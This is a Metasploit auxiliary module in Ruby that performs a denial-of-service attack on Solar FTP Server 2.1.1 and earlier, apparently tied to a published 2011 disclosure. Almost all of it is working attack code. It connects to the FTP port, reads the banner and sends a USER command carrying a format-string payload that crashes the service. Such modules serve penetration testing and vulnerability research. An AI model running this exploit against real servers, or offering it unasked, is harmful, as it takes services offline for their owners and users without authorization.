Solar FTP Server Malformed USER Denial of Service

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Solar FTP Server Malformed USER Denial of Service',
        'Description' => %q{
          This module will send a format string as USER to Solar FTP, causing a
          READ violation in function "__output_1()" found in "sfsservice.exe"
          while trying to calculate the length of the string. This vulnerability
          affects versions 2.1.1 and earlier.
        },
        'Author' => [
          'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit
          'C4SS!0 G0M3S <Louredo_[at]hotmail.com>',  # Metasploit submission
          'sinn3r',                                  # Metasploit edit/commit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2011-10029' ],
          [ 'EDB', '16204' ],
        ],
        'DisclosureDate' => '2011-02-22',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(21)
      ]
    )
  end

  def run
    connect

    banner = sock.get_once(-1, 10) || ''
    print_status("Banner: #{banner.strip}")

    buf = Rex::Text.pattern_create(50)
    buf << '%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n'
    print_status('Sending format string...')
    sock.put("USER #{buf}\r\n")

    disconnect
  end
end